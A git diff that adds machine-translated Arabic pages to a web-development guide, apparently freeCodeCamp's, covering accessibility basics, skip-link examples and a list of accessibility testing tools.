diff --git a/client/src/guide/arabic/accessibility/accessibility-basics/index.md b/client/src/guide/arabic/accessibility/accessibility-basics/index.md
new file mode 100644
index 0000000000..efe4f07195
--- /dev/null
+++ b/client/src/guide/arabic/accessibility/accessibility-basics/index.md
@@ -0,0 +1,195 @@
+---
+title: Accessibility Basics
+localeTitle: أساسيات الوصول
+---
+> "الفنون المظلمة كثيرة ومتنوعة ومتغيرة باستمرار وأبدي. إن محاربتهم تشبه محاربة وحش كثير الرأس ، وفي كل مرة ينقطع عنق ، ينبت رأسه أكثر شراسة وأذكى من ذي قبل. وهو غير مثبت ، متحور ، غير قابل للتدمير ".
+> 
+> \- الأستاذ سيفيروس سناب ، سلسلة هاري بوتر
+
+إن دور إمكانية الوصول في التطوير هو في الأساس فهم منظور واحتياجات المستخدم ، ومعرفة أن الويب والتطبيقات هي حل للأشخاص ذوي الإعاقات.
+
+في هذا اليوم وهذا العصر ، تم اختراع المزيد والمزيد من التقنيات الجديدة لجعل حياة المطورين ، وكذلك المستخدمين ، أسهل. إلى أي درجة يعتبر هذا شيئًا جيدًا هو النقاش لفترة أخرى ، في الوقت الحالي ، يكفي أن نقول أن صندوق أدوات المطور ، وخاصة مطور الويب ، يتغير باستمرار مثلما تسمى "الفنون السوداء" وفقًا لصديقنا سناب.
+
+يجب أن تكون إحدى الأدوات في مربع الأدوات هذا هي إمكانية الوصول. إنها أداة يجب استخدامها بشكل مثالي في واحدة من الخطوات الأولى لكتابة أي شكل من أشكال محتوى الويب. ومع ذلك ، فإن هذه الأداة ليست في الغالب مقدمة بشكل جيد في صندوق أدوات معظم المطورين. قد يكون هذا بسبب حالة بسيطة من عدم معرفتها حتى للحالات المتطرفة مثل عدم الاهتمام بها.
+
+في حياتي كمستخدم ، وبعد ذلك مطور ، يستفيد من إمكانية الوصول في أي شكل من أشكال المحتوى ، رأيت طرفي هذا الطيف. إذا كنت تقرأ هذا المقال ، فأنا أظن أنك في واحدة من الفئات التالية:
+
+*   أنت مطور ويب مبتدئ وترغب في معرفة المزيد حول إمكانية الوصول
+*   أنت مطور ويب محنك وفقدت طريقك (المزيد عن ذلك لاحقًا)
+*   تشعر أن هناك التزامًا قانونيًا من العمل ، وتحتاج إلى معرفة المزيد عنه.
+
+إذا كنت خارج هذه الفئات العريضة ، فيرجى إبلاغي بذلك. أنا دائما أحب أن أسمع من الناس الذين يقرؤون ما أكتب عنه. يؤثر تنفيذ الوصول على الفريق بأكمله ، من الألوان التي اختارها المصمم ، والنسخة التي يكتبها مؤلف الإعلانات ، وعليك ، المطور.
+
+## إذن ، ما هي إمكانية الوصول على أي حال؟
+
+تعتبر إمكانية الوصول في حد ذاتها عبارة عن مصطلح مضلل في بعض الأحيان ، خاصة إذا كانت اللغة الإنجليزية هي لغتك الثانية. يشار إليها أحيانا على أنها تصميم شامل.
+
+إذا كان موقعك على الإنترنت ، يمكن الوصول إليه من قبل أي شخص لديه متصفح ويب ، بمعنى أن موقع الويب متاح للجميع من خلال متصفح الويب.
+
+ولكن ، هل كل المحتوى على موقع الويب الخاص بك مقروء بالفعل وقابل للاستخدام ومفهوم للجميع؟ أليست هناك عتبات تمنع بعض الأشخاص من "الوصول" إلى جميع المعلومات التي تعرضونها؟
+
+يمكنك أن تسأل نفسك أسئلة مثل الأسئلة التالية:
+
+*   إذا قمت بإضافة معلومات موجودة فقط في ملف صوتي ، فهل يستطيع الشخص الأصم الحصول على هذه المعلومات؟
+*   إذا كنت تدل على جزء مهم من موقعك على الويب بلون معين ، فهل سيعرف شخص عملاق الألوان ذلك؟
+*   إذا أضفت صورًا على موقعك على الويب تنقل معلومات مهمة ، فكيف سيعرف الشخص المكفوف أو ضعيف الرؤية ذلك؟
+*   إذا كنت تريد التنقل في التطبيق باستخدام لوحة المفاتيح أو عصا الفم ، هل سيكون ذلك ممكنًا أم متوقعًا؟
+*   هل يفترض التطبيق الخاص بك اتجاه الجهاز وماذا لو لم يتمكن المستخدم من تغييره فعليًا؟
+*   هل هناك مظاهر متسامحة من التطبيق الخاص بك لشخص قد يحتاج إلى مزيد من الوقت لملء نموذج؟
+*   هل لا يزال تطبيقك يعمل (التحسين التدريجي) على افتراض أن JavaScript لا يتم تحميله في الوقت المناسب؟
+*   يمكنك حتى الذهاب إلى حد القول ، إذا كان موقع الويب الخاص بك ثقيلًا في الموارد ، فهل يتمكن شخص ما على اتصال بطيء أو متقطع من قراءة المحتوى الخاص بك؟
+
+هذا هو المكان الذي يدخل حيز التشغيل. يستلزم الوصول بشكل أساسي جعل المحتوى الخاص بك ودودًا ، ويسهل الوصول إليه بأكبر قدر ممكن من الأشخاص. ويشمل ذلك الأشخاص الأصم ، ضعاف البصر ، المكفوفين ، المصابين بفرط الصوت ، البكم ، على الاتصال البطيء ، عمى الألوان ، يعانون من الصرع ، الإرهاق العقلي ، العمر ، القيود المادية ، إلخ.
+
+## لماذا تنفيذ الوصول؟
+
+قد تعتقد أن إمكانية الوصول لا تنطبق عليك أو على مستخدميك ، فلماذا تنفذها؟ ما الذي يمكن أن يفعله الشخص الأعمى باستخدام أداة لتحرير الصور؟
+
+الحقيقة هي أنك محق في درجة معينة. إذا كنت قد أجريت بحثًا دقيقًا عن المستخدمين واستبعدت أي فرصة لمجموعة معينة من الأشخاص الذين يزورون موقعك على الويب ، فإن الأولوية لتقديم الطعام إلى مجموعة الأشخاص هذه تتضاءل قليلاً.
+
+ومع ذلك ، فإن إجراء هذا البحث أمر أساسي في الدفاع عن مثل هذا البيان. هل تعلم أن هناك [لاعبين أعمى؟](http://audiogames.net) وحتى [المصورين المكفوفين؟](http://peteeckert.com/) . ربما كنت تعرف [أن الموسيقيين أصمّاء](http://mentalfloss.com/article/25750/roll-over-beethoven-6-modern-deaf-musicians) ؟
+
+إذا فعلت ذلك ، خير لك. إذا لم يكن كذلك ، أعتقد أن هذا يدفع وجهة نظري أكثر إلى المنزل.
+
+تصبح الصورة أكثر تعقيدًا عندما ننظر إلى تشريع يفرض عليك فعليًا إمكانية الوصول إلى بعض مواقع الويب وتطبيقات الويب. المثال الرئيسي هو [القسم 508](http://jimthatcher.com/webcourse1.htm) من الولايات المتحدة. في الوقت الحالي ، يشير هذا القانون بشكل أساسي إلى المنظمات الحكومية ومواقع القطاع العام ، إلخ. ومع ذلك ، فإن القوانين تتغير.
+
+في العام الماضي ، أدرجت مواقع الخطوط الجوية في هذه القائمة ، مما يعني أنه حتى في أوروبا ، تطورت مواقع شركات الطيران على شبكة الإنترنت لتسهيل الوصول إلى المحتوى الخاص بها. عدم القيام بذلك يمكن أن يؤدي إلى حصول شركتك على غرامة تصل إلى عشرات الآلاف من الدولارات عن كل يوم لم يتم إصلاح المشكلة فيه.
+
+هناك اختلافات في هذا التشريع في جميع أنحاء العالم ، بعضها أشد وشمولًا من غيرها. عدم معرفة هذه الحقيقة لا يجعل الدعوى تختفي للأسف.
+
+## حسنًا ، إمكانية الوصول هي مشكلة كبيرة. الآن كيف ننفذه؟
+
+هذا السؤال ، للأسف ، يصعب الإجابة عليه أكثر مما قد يبدو. اقتباس هاري بوتر في الأعلى هناك لسبب ، وليس لي قارئا فانتازيا متعطشا.
+
+كما ذكرت أعلاه ، تعد إمكانية الوصول مهمة لمجموعة كبيرة من الأشخاص المختلفين ، لكل منهم احتياجاته الخاصة. إن جعل موقع الويب يعمل بشكل حرفي للجميع يمثل مهمة كبيرة ومستمرة.
+
+لإضفاء القليل من طريقة على الجنون ، تم إنشاء إرشادات إمكانية الوصول إلى محتوى الويب أو [WCAG](https://www.wuhcag.com/web-content-accessibility-guidelines/) . يحتوي هذا المستند على عدد من المعايير التي يمكنك استخدامها للتحقق من موقع الويب الخاص بك. في الوقت الحالي ، سأغطي بعض أهم الأساسيات هنا. سأوجهك إلى الثمار المعلقة ، إذا جاز التعبير. في المقالات التالية ، سأناقش المزيد من التقنيات المتقدمة مثل \[WAI-ARIA\] وهو أمر مهم للتطبيقات التي تعتمد على JavaScript.
+
+### تحدث مثل السكان الأصليين
+
+مواصفات HTML عبارة عن مستند يصف كيفية استخدام اللغة لإنشاء مواقع ويب. إن التقنيات المساعدة ، مثل برامج قراءة الشاشة وبرامج التعرف على الكلام إلخ ، على دراية بهذا المستند. على الرغم من ذلك ، غالبًا ما لا يكون مطورو الويب ، أو على الأقل غير كافٍ ، ويعتقدون أن شيئًا كهذا على ما يرام:
+
+ `
+    <div class="awesome-button"></div> 
+ 
+    <span><strong>Huge heading I will style with CSS later</strong></span> 
+ 
+    <span class="clickable-with-JavaScript">English</span> 
+` 
+
+خمين ما؟ كل ثلاثة من هذه العناصر كسر عدة معايير WCAG ، وبالتالي لا يمكن الوصول إليها على الإطلاق.
+
+يكسر العنصر الأول ما يسمى "الاسم ، الدور ، القيمة ، المعيار" ، والذي ينص على أن جميع العناصر على صفحة الويب يجب أن تعرض اسمها ، ودورها (مثل الزر) وقيمتها (مثل محتويات حقل تحرير). للتقنيات المساعدة. لا يوفر هذا div أيًا من الثلاثة ، مما يجعله غير مرئي لقراء الشاشة.
+
+يشبه العنصر الثاني شكلًا مرئيًا بعد تصميمه باستخدام CSS ، لكن معناه امتداد. لذلك ، لن تعرف التقنيات المساعدة عنوانها. سيقرأ قارئ الشاشة هذا كنص عادي ، بدلاً من العنوان. غالبًا ما يكون لدى قارئ الشاشة مفتاح تشغيل سريع للانتقال سريعًا إلى أقرب عنوان ، ولن يتم تضمين هذا العنوان في هذا النطاق.
+
+يمكن أن يكون العنصر الثالث على سبيل المثال عنصرًا يمكن للمستخدم النقر عليه لتغيير لغة موقع الويب. ربما ستتوسع قائمة رسوم متحركة من اللغات عند النقر عليها. ومع ذلك ، فهذه أيضًا فترة ولا تعرض دورها (الرابط ، أو الزر) ، مما يجعل التقنيات المساعدة تعتقد أن هذه هي الكلمة الإنجليزية فقط مع بعض التصميم.
+
+Spans و divs غير عناصر. أنها تهدف إلى احتواء عناصر أخرى ، وليس لتكون العناصر نفسها. يمكنك إصلاحها بطريقتين:
+
+*   يمكنك إضافة سمات ARIA-يدوياً إلى العناصر المذكورة أعلاه. هذا موضوع متقدم وخارج نطاق هذه المقالة.
+*   أو يمكنك ببساطة القيام بذلك:
+
+ `
+    <button>This is a button</button> 
+ 
+    <h2>Here's a heading level two</h2> 
+ 
+    <a href="JavascriptThing">English</a> 
+` 
+
+فقاعة. فجأة ، كل هذه العناصر يمكن الوصول إليها بشكل كامل ، فقط باستخدام HTML الأصلي. HTML بالطريقة التي كان من المفترض أن يتم استخدامها ، وبعبارة أخرى.
+
+### لا يمكن لأي مؤسسة الوقوف بدون هيكل
+
+وقبل ذلك بقليل ، تطرقت إلى مفاتيح الاختصار الخاصة بقارئ الشاشة للقفز من العنوان إلى العنوان. هناك في الواقع العديد من مفاتيح الاختصار مثل هذه أن تقفز بسرعة إلى أقرب الجدول ، حقل النموذج ، والارتباط الخ. إن التأكد من أن هذه العناوين في الواقع في أماكن منطقية هو ممارسة جيدة ويقلل حقا من مستويات الإجهاد التي يعاني منها مستخدمو التكنولوجيا المساعدة ، وهو أمر جيد إذا كنت تريد استمرار الزوار في زيارة موقعك الإلكتروني.
+
+تذكر أيضًا أن العناوين هرمية. إذا كنت تستخدم h2 ، فتأكد من أن h3's التي تتبعها بالفعل لها علاقة بهذا h2. لا تضع h3 للحصول على تفاصيل الاتصال أسفل h2 الخاص بك لمشاركات المدونة الأخيرة. تشبيه جيد هنا هو كتاب به فصول ، يحتوي على أقسام فرعية. أنت لن تضع قسماً على خبز البسكويت في منتصف فصل حول تحضير الخضار ... أو ... أنت لا… صحيح؟
+
+### ما هو البديل؟
+
+الصور الموجودة على موقع الويب رائعة. إنهم يضيفون طبقة جديدة إلى المحتوى الخاص بك ، يمكن أن يجعلوا تجربة زوار موقعك أكثر غامرة وبصفة عامة تبدو فقط جيدة بين كل هذا النص. يمكن أن تقول الصورة أكثر من ألف كلمة ، أليس كذلك؟
+
+من المؤكد. هذا هو ، إذا كنت تستطيع رؤيتها. في مواصفات HTML5 ، يجب أن تحتوي سمة img- دائمًا على سمة alt. هذه السمة تعني كبديل للصورة في حالة عدم رؤيتها. سيكون هذا صحيحًا بالنسبة للزوار المكفوفين لموقعك الإلكتروني ، ولكن أيضًا عندما لا يمكن تحميل صورتك لسبب ما. لا يؤدي عدم إضافة علامة alt إلى سمة img إلى كسر إمكانية الوصول فقط ، بل يتعارض مع مواصفات HTML5.
+
+إنني أتوسل إلى أي مطور ويب يدرك أنه يقوم بذلك لأكل قبعة المبرمج الخاصة به والعمل على Windows 95 بشكل خاص لمدة أسبوع. بعد انتهاء الوقت ، اكتب مقالاً عن ما تعلمته من هذه المحنة حتى أتمكن من الضحك أثناء تناول القهوة بعد الظهر.
+
+الآن ، هناك واحد التحذير هنا. تُعد سمات Alt إلزامية وفقًا لمواصفات HTML5 ، ولكنها ليست إلزامية لملئها فعليًا. `<img src="awesome-image.jpg", alt="">` رمز HTML5 قانونيًا.
+
+هل يجب عليك ملء علامات alt-alt لجميع الصور؟ ذلك يعتمد على الصورة ، حقا. بالنسبة إلى صور الخلفية ، لا تكون الإجابة عادةً ، ولكن يجب عليك استخدام CSS لتلك الرسائل على أي حال.
+
+بالنسبة إلى الصور الزخرفية البحتة التي لا تحتوي على معلومات فيها على الإطلاق ، يمكنك مجانًا الاختيار مجانًا. إما وضعها في شيء مفيد وصفي أو لا شيء على الإطلاق.
+
+بالنسبة للصور التي تحتوي على معلومات ، مثل كتيب ، وخريطة ، ومخطط ، وما إلى ذلك ، لا تقوم بإضافة نص بديل فواصل WCAG ما لم تقدم بديلًا نصيًا. عادة ما تكون هذه سمة alt ، ولكن يمكن أيضًا أن تكون كتلة نص أسفل أو بجوار الصورة.
+
+بالنسبة لصور النص ، يمكن إما تضمين النص في سمة alt أو عرضه بطريقة بديلة. تكمن المشكلة في أن إضافة بديل نصي على نفس الصفحة سيؤدي في الأساس إلى عرض نفس المحتوى مرتين للأشخاص الذين يمكنهم رؤية الصورة ، وهذا هو السبب في أن سمة alt تكون أفضل في هذه الحالة.
+
+يجب أن يوفر النص السياق والمعلومات التي تعتبر بديلاً لرؤية الصورة. لا يكفي ببساطة أن تكتب "صورة لبالونات الهواء الساخن" - لماذا توجد صور البالون هناك؟ إذا كانت الصورة منمنمة أو تحمل معنى عاطفيًا ، فيمكن تضمين ذلك.
+
+### لا أستطيع قراءة الشخبطة يا بني
+
+حتى الأشخاص الذين لا يرتدون نظارات ولا يعانون من مشكلة في البصر لديهم يستفيدون من سهولة قراءة الخط والتباين المناسب. أنا متأكد من أنك سوف تذلل إذا كان عليك أن تملأ شكلاً يتم فيه وضع الأحرف الصفراء الخفيفة ، التي لا تطاق ، على خلفية بيضاء. بالنسبة للأشخاص الذين ليس لديهم بصيرة جيدة ، مثل جدتك ، على سبيل المثال ، فإن هذا يصبح أسوأ بكثير.
+
+يحتوي WCAG على نسب تباين للحروف الصغيرة والكبيرة ، وهناك الكثير من الأدوات لمعرفة ما إذا كانت نسب التباين قوية بما فيه الكفاية. المعلومات والأدوات موجودة ، استخدمها.
+
+يعد استخدام مدقق تباين لون [WebAIM](https://webaim.org/resources/contrastchecker/) مكانًا جيدًا لبدء التحقق من تباين الألوان.
+
+### ماذا يفعل هذا الزر؟
+
+بينما نحن في موضوع النماذج ، دعونا نلقي نظرة سريعة على علامة `input` . هذا الرجل الصغير مهم جدا.
+
+عندما تضع بعض حقول الإدخال على صفحة ويب ، يمكنك استخدام التصنيفات ... حسناً. ومع ذلك ، فإن وضعهم بجانب بعضهم البعض ليس كافياً. السمة التي تريدها هي السمة for-والتي تأخذ معرف حقل الإدخال التالي. بهذه الطريقة ، تعرف التقنيات المساعدة التسمية التي يتم إقرانها مع حقل النموذج.
+
+أعتقد أن أفضل طريقة لتوضيح ذلك هي إعطاء مثال على ذلك:
+
+ `
+    <label for='username'> 
+ 
+    <input type='text' id='username'> 
+` 
+
+سيؤدي هذا على سبيل المثال إلى أن قارئ الشاشة يقول "اسم المستخدم ، حقل تحرير النص" ، بدلاً من مجرد "إعداد حقل تعديل النص" ويطلب من المستخدم البحث عن تصنيف. هذا أيضًا يساعد الأشخاص الذين يستخدمون برنامج التعرف على الكلام.
+
+### هذا أمر طويل
+
+لنأخذ استراحة صغيرة أريدك أن تذهب إلى صفحة ويب مصممة تصميماً جيداً. يمكن أن يكون أي صفحة. هيا ، سأنتظر
+
+الى الخلف؟ حسنا عظيم. الآن ، انظر إلى الصفحة مرة أخرى ولكن قم بتعطيل كل CSS. هل ما زالت تبدو جيدة؟ هل لا يزال المحتوى الموجود على الصفحة بترتيب منطقي؟ إذا كان الأمر كذلك ، عظيم. لقد عثرت على صفحة بهيكل HTML لائق. (إحدى الطرق لعرض صفحة بدون CSS بسهولة هي تحميل الموقع في [أداة تقييم إمكانية الوصول إلى الويب WAVE](http://wave.webaim.org) لـ WebAIM ، ثم النقر فوق علامة التبويب "بدون أنماط" لمشاهدتها بدون الأنماط.)
+
+إن لم يكن ، عظيم. الآن لديك انطباع عن ما يجب علي التعامل معه بشكل يومي عندما أواجه موقعًا منظمًا بشكل سيء.
+
+الإفصاح الكامل: أميل إلى اللعنة عندما يحدث هذا. بصوت عالي. مع النشاط.
+
+لماذا الامر مهم لهذه الدرجة؟ سأشرح.
+
+_تنبيه المفسد!_ بالنسبة لأولئك الذين غطوا فقط المناهج HTML / CSS حتى الآن ، ونحن في طريقنا إلى القفز قليلا.
+
+تعمل قارئات الشاشة والتقنيات المساعدة الأخرى على عرض تمثيل من أعلى إلى أسفل لصفحة ويب استنادًا إلى DOM لموقعك على الويب. يتم تجاهل كل CSS المغلق في هذا الإصدار من صفحة الويب.
+
+يرمز DOM إلى نموذج كائن المستند وهو بنية تشبه الشجرة لعناصر HTML لموقعك على الويب. جميع عناصر HTML الخاصة بك هي عبارة عن نقاط مرتبطة ارتباطًا هرميًا استنادًا إلى علامات HTML التي تستخدمها وجافا سكريبت. يستخدم قارئات الشاشة شجرة DOM هذه للعمل باستخدام شفرة HTML الخاصة بك.
+
+إذا وضعت العنصر في أعلى عنصرك ، فسيظهر في أعلى شجرة DOM أيضًا. لذلك ، فإن قارئ الشاشة يضعها في الأعلى أيضًا ، حتى إذا قمت بنقلها إلى أسفل الصفحة باستخدام CSS.
+
+لذا ، فإن النصيحة الأخيرة التي أريد أن أقدمها لك هي أن تولي اهتماما لترتيب HTML الخاص بك ، وليس فقط موقع الويب الخاص بك النهائي مع CSS المضافة. هل لا يزال من المنطقي دون CSS؟ عظيم!
+
+أوه ... لا؟ في هذه الحالة .. قد تسمع في يوم من الأيام لعنة مكتومة تنقلكم على نسيم بارد أثناء المشي في الخارج. سيكون ذلك على الأرجح أنا ، زيارة موقع الويب الخاص بك.
+
+في هذه الحالة ، ليس لدي سوى كلمتين لك. غالباً ما سمعت نفس هاتين الكلمتين الموجهتين إليّ عندما كتبت بعض الكود الشريرة ومن دواعي سروري أن أخبرك: "اذهب إلى الإصلاح!"
+
+### لون التباين
+
+يجب أن يكون التباين بالألوان أقل من 4.5: 1 للنص العادي و 3: 1 للنص الكبير. يتم تعريف "نص كبير" على أنه نص لا يقل عن 18 نقطة (24 بكسل) أو 14 نقطة (18.66 بكسل) وبخط عريض. [مدقق التباين](https://webaim.org/resources/contrastchecker/)
+
+## استنتاج
+
+لقد أخبرتك عن إمكانية الوصول ، وما هي ، وما هو غير ذلك ، ولماذا هو مهم.
+
+لقد أعطيتك أيضًا الأساسيات ، أساسيات الحصول على حق الوصول. ومع ذلك ، فهذه الأساسيات قوية جدًا ويمكن أن تجعل حياتك أسهل كثيرًا عند الترميز للوصول.
+
+إذا تحدثنا في شروط لجنة الاتصالات الفيدرالية FCC ، يجب أن تضعها في اعتبارك أثناء تنفيذ منهج HTML / CSS وكذلك منهج جافا سكريبت JavaScript.  
+في مقالات لاحقة ، سوف أتطرق إلى عدد من المواضيع الإضافية. عدد من الأسئلة سأجيب عليها هي:
+
+*   يبدو أن إضافة عناوين منظمة تبدو فكرة جيدة ، ولكنها لا تتناسب مع تصميمي. ماذا أفعل؟
+*   هل هناك طريقة بالنسبة لي لكتابة المحتوى فقط قارئات الشاشة والتقنيات المساعدة الأخرى؟
+*   كيف يمكنني جعل مكونات JavaScript مخصصة قابلة للوصول؟
+*   ما الأدوات الموجودة ، بالإضافة إلى اختبار المستخدم الشامل ، التي يمكن استخدامها لتطوير التجربة الأكثر قوة وسهولة الوصول إلى أكبر مجموعة من المستخدمين؟
\ No newline at end of file
diff --git a/client/src/guide/arabic/accessibility/accessibility-examples/index.md b/client/src/guide/arabic/accessibility/accessibility-examples/index.md
new file mode 100644
index 0000000000..8ab4d84c4c
--- /dev/null
+++ b/client/src/guide/arabic/accessibility/accessibility-examples/index.md
@@ -0,0 +1,63 @@
+---
+title: Accessibility Examples
+localeTitle: أمثلة على سهولة الوصول
+---
+## أمثلة على سهولة الاستخدام في التطبيق العملي
+
+أكتب هذا الدليل المختصر لتقديم أمثلة عملية عن كيفية تنفيذ إمكانية الوصول في مواقع الويب. لم يتم التأكيد على إمكانية الوصول أثناء المدرسة ولا يتم التركيز عليها بشكل كاف في العالم الحقيقي لتطوير الويب. آمل أن تشجّع هذه المقالة ، إلى جانب العديد غيرها ، المطوّرين على إنشاء مواقع يسهل الوصول إليها من الآن فصاعدًا. لقد ساعدني دائمًا في الحصول على أمثلة عملية حول كيفية القيام بالأشياء. لذلك سيركز هذا الدليل على أمثلة العالم الحقيقي التي واجهتها في حياتي اليومية كمطور ويب.
+
+### تخطي الملاحة
+
+من أجل منح المستخدمين غير النظر تجربة ممتعة على موقع الويب الخاص بك ، يجب أن يكونوا قادرين على الوصول إلى المحتوى بسرعة وكفاءة. إذا لم تجرب موقعًا على الويب من خلال قارئ الشاشة ، فأوصيك بذلك. إنها أفضل طريقة لاختبار مدى سهولة التنقل في الموقع للمستخدمين غير النظر. NVDA هو تطبيق جيد لقراءة الشاشة يتم توفيره مجانًا. ولكن إذا كنت تستخدم قارئ الشاشة وتجد أنه من المفيد التفكير في تقديم تبرع لفريق التطوير. يمكن تنزيل قارئ الشاشة من [nvaccess.org](https://www.nvaccess.org/download/) .
+
+للسماح للمستخدمين غير النظر بالانتقال إلى المحتوى الرئيسي للموقع وتجنب الجدولة عبر جميع روابط التنقل الرئيسية:
+
+1.  إنشاء "تخطي صلة الملاحة" التي تعيش مباشرة تحت افتتاح `body` علامة.
+
+ `
+<a tabindex="0" class="skip-link" href="#main-content">Skip to Main Content</a> 
+` 
+
+`tabindex="0"` يضاف للتأكد من أن الوصلة هي لوحة المفاتيح قابلة للتركيز على جميع المتصفحات. يمكن العثور على مزيد من المعلومات حول إمكانية الوصول إلى لوحة المفاتيح على [webaim.org](https://webaim.org/techniques/keyboard/tabindex) .
+
+2.  يجب أن يرتبط ارتباط "تخطي التنقل" بعلامة html الرئيسية في مستند صفحة الويب الخاص بك باستخدام علامة التعريف.
+
+ `
+<main id="main-content"> 
+  ...page content 
+ </main> 
+` 
+
+3.  إخفاء رابط "تخطي التنقل" افتراضيًا. يضمن هذا أن يكون الرابط مرئيًا فقط للمستخدمين الذين يتم رؤيتهم عند التركيز على الرابط.
+
+*   قم بإنشاء فصل للرابط الذي يمكن تنسيقه باستخدام CSS. في المثال الخاص بي قد أضفت `skip-link` .
+
+ `.skip-link { 
+  position: absolute; 
+  width: 1px; 
+  height: 1px; 
+  padding: 0; 
+  overflow: hidden; 
+  clip: rect(0, 0, 0, 0); 
+  white-space: nowrap; 
+  -webkit-clip-path: inset(50%); 
+  clip-path: inset(50%); 
+  border: 0; 
+ } 
+ .skip-link:active, .skip-link:focus { 
+  position: static; 
+  width: auto; 
+  height: auto; 
+  overflow: visible; 
+  clip: auto; 
+  white-space: normal; 
+  -webkit-clip-path: none; 
+  clip-path: none; 
+ } 
+` 
+
+تخفي أنماط CSS هذه الارتباط افتراضيًا وتعرض الارتباط فقط عند تلقي التركيز على لوحة المفاتيح. لمزيد من المعلومات ، يرجى زيارة [a11yproject](http://a11yproject.com/posts/how-to-hide-content) وهذا [بلوق وظيفة](http://hugogiraudel.com/2016/10/13/css-hide-and-seek/) .
+
+### الجداول سهلة الوصول
+
+### علامات التبويب يمكن الوصول إليها
\ No newline at end of file
diff --git a/client/src/guide/arabic/accessibility/accessibility-tools-for-web-developers/index.md b/client/src/guide/arabic/accessibility/accessibility-tools-for-web-developers/index.md
new file mode 100644
index 0000000000..3ad36b6789
--- /dev/null
+++ b/client/src/guide/arabic/accessibility/accessibility-tools-for-web-developers/index.md
@@ -0,0 +1,42 @@
+---
+title: Accessibility Tools for Web Developers
+localeTitle: أدوات الوصول لمطوري الويب
+---
+## أدوات الوصول لمطوري الويب
+
+هناك العديد من الأدوات والموارد عبر الإنترنت التي يمكنها مساعدتك على ضمان تلبية تطبيق الويب الخاص بك لكافة متطلبات إمكانية الوصول.
+
+1.  **[أدوات مطور إمكانية الوصول](https://chrome.google.com/webstore/detail/accessibility-developer-t/fpkknkljclfencbdbgkenhalefipecmb?hl=en)**
+    
+    هذه هي إضافة Google Chrome التي ستضيف جزءًا جانبيًا جديدًا من "إمكانية الوصول" في علامة التبويب "عناصر" إلى أدوات مطوري برامج Chrome. يعرض هذا الجزء الجديد أية خصائص ذات صلة بجانب إمكانية الوصول للعنصر الذي تقوم بفحصه حاليًا. يضيف هذا الامتداد أيضًا تدقيق إمكانية الوصول الذي يمكن استخدامه للتحقق مما إذا كانت صفحة الويب الحالية تنتهك أي قواعد لإمكانية الوصول.
+    
+2.  **[فأس](https://chrome.google.com/webstore/detail/axe/lhdoppojpmngadmnindnejefpokejbdd?hl=en-US)**
+    
+    يمكن لإضافات Google Chrome العثور على عيوب إمكانية الوصول في صفحتك على الويب.
+    
+3.  **[مولد لوحة الألوان الآمنة](http://colorsafe.co)**
+    
+    يمكن أن يساعدك موقع الويب هذا في إنشاء لوحة ألوان تعتمد على إرشادات WCAG لنسب التباين في النص والورقة.
+    
+4.  **[تحقق من بلدي الألوان](http://www.checkmycolours.com)**
+    
+    موقع ويب للتحقق مما إذا كان موقعك الحالي يلبي متطلبات إمكانية الوصول للون والتباين.
+    
+5.  **[لون أوراكل](http://colororacle.org)**
+    
+    تطبيق يحاكي عمى الألوان. وهي متوفرة على أنظمة Windows و Mac و Linux.
+    
+6.  **[tota11y](http://khan.github.io/tota11y/)**
+    
+    مجموعة أدوات عرض إمكانية الوصول التي تتحقق من أداء موقعك على الويب باستخدام التقنيات المساعدة.
+    
+7.  **[AccessLint](https://www.accesslint.com)**
+    
+    تطبيق GitHub الذي يتحقق من طلبات السحب لمسائل إمكانية الوصول.
+    
+
+* * *
+
+#### المزيد من المصادر
+
+يمكنك العثور على العديد من الأدوات لتصميم صفحات الويب في [هذه القائمة](http://www.d.umn.edu/itss/training/online/webdesign/tools.html) التي تقدمها جامعة مينيسوتا دولوث.
\ No newline at end of file
diff --git a/client/src/guide/arabic/accessibility/automated-testing/index.md b/client/src/guide/arabic/accessibility/automated-testing/index.md
new file mode 100644
index 0000000000..226c831aba
--- /dev/null
+++ b/client/src/guide/arabic/accessibility/automated-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Automated Accessibility Testing Tools
+localeTitle: أدوات اختبار إمكانية الوصول التلقائي
+---
+## اختبار الوصول التلقائي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/accessibility/automated-testing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/accessibility/index.md b/client/src/guide/arabic/accessibility/index.md
new file mode 100644
index 0000000000..5365446251
--- /dev/null
+++ b/client/src/guide/arabic/accessibility/index.md
@@ -0,0 +1,27 @@
+---
+title: Accessibility
+localeTitle: إمكانية الوصول
+---
+## إمكانية الوصول
+
+**تعني إمكانية الوصول إلى الويب أن الأشخاص ذوي الإعاقة يمكنهم استخدام الويب** .
+
+وبشكل أكثر تحديدًا ، تعني إمكانية الوصول إلى الويب أن الأشخاص ذوي الإعاقة يمكنهم إدراك الويب وفهمه والتنقل فيه والتفاعل معه ، وأن بإمكانهم المساهمة في الويب. كما تفيد إمكانية الوصول إلى الإنترنت الآخرين ، بما في ذلك [كبار السن](https://www.w3.org/WAI/bcase/soc.html#of) ذوي القدرات المتغيرة بسبب الشيخوخة.
+
+تشمل إمكانية الوصول إلى الويب جميع الإعاقات التي تؤثر على الوصول إلى الويب ، بما في ذلك البصرية والسمعية والجسدية والكلامية والمعرفية والعصبية الإعاقة. يوضح المستند " [كيف يعامل الأشخاص ذوي الإعاقة على الويب"](http://www.w3.org/WAI/intro/people-use-web/Overview.html) مدى اختلافه تؤثر الإعاقات على استخدام الويب وتتضمن سيناريوهات للأشخاص ذوي الإعاقات باستخدام الويب.
+
+كما أن إمكانية الوصول إلى الويب **تفيد** الأشخاص _غير_ المعوقين. على سبيل المثال ، يتمثل أحد المبادئ الأساسية لإمكانية الوصول إلى الويب في تصميم مواقع الويب والبرامج مرنة للوفاء باحتياجات وتفضيلات وحالات المستخدم المختلفة. هذه **المرونة** أيضا تفيد الأشخاص _غير_ المعوقين في بعض الحالات ، مثل الأشخاص الذين يستخدمون اتصالاً بطيئًا بالإنترنت ، والأشخاص الذين لديهم "إعاقات مؤقتة" مثل ذراع مكسورة ، والأشخاص ذوي القدرات المتغيرة بسبب الشيخوخة. يصف المستند " [تطوير حالة عمل إمكانية الوصول إلى ويب للمؤسسة الخاصة بك"](https://www.w3.org/WAI/bcase/Overview) العديد فوائد مختلفة من الوصول إلى شبكة الإنترنت ، بما في ذلك **فوائد للمنظمات** .
+
